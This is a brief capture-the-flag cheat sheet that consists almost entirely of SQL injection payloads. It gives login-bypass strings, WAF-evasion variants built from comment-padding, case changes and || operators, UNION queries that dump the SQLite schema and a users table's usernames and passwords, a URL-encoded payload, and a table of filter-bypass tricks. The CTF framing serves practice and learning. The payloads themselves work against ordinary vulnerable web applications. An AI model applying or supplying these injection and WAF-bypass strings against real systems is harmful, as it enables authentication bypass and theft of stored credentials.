CTF Quick Cheat Sheet

1. Classic login bypass

```
' or '1'='1
' or '1'='1' --
admin' --
```

2. Login bypass + WAF (use Burp Repeater)

```
' OR '1'='1
'/**/or/**/'1'='1
'||'1'='1
```

→ Intercept in Proxy, Send to Repeater, edit payload, resend, check response.

3. UNION-based SQLi (SQLite)

```
' UNION SELECT tbl_name, sql, 1 FROM sqlite_master--
' UNION SELECT id, username, password FROM users--
```

4. UNION SQLi vs weak WAF (case-sensitive blacklist bypass)

```
' UNION SELECT 1,flag,3 FROM secret_flags#
' UNION/**/SELECT 1,flag,3 FROM secret_flags#
```

URL-encoded:

```
?id=%27+UNION/**/SELECT+1,flag,3+FROM+secret_flags%23
```

General bypass tricks

Blocked	Try
`union select`	`UNION SELECT` (case), `UNION/**/SELECT`
`--`	`#`
` or 1=1`	`||1=1`, mixed case
spaces	`/**/`
`'`	close/balance manually, avoid breaking syntax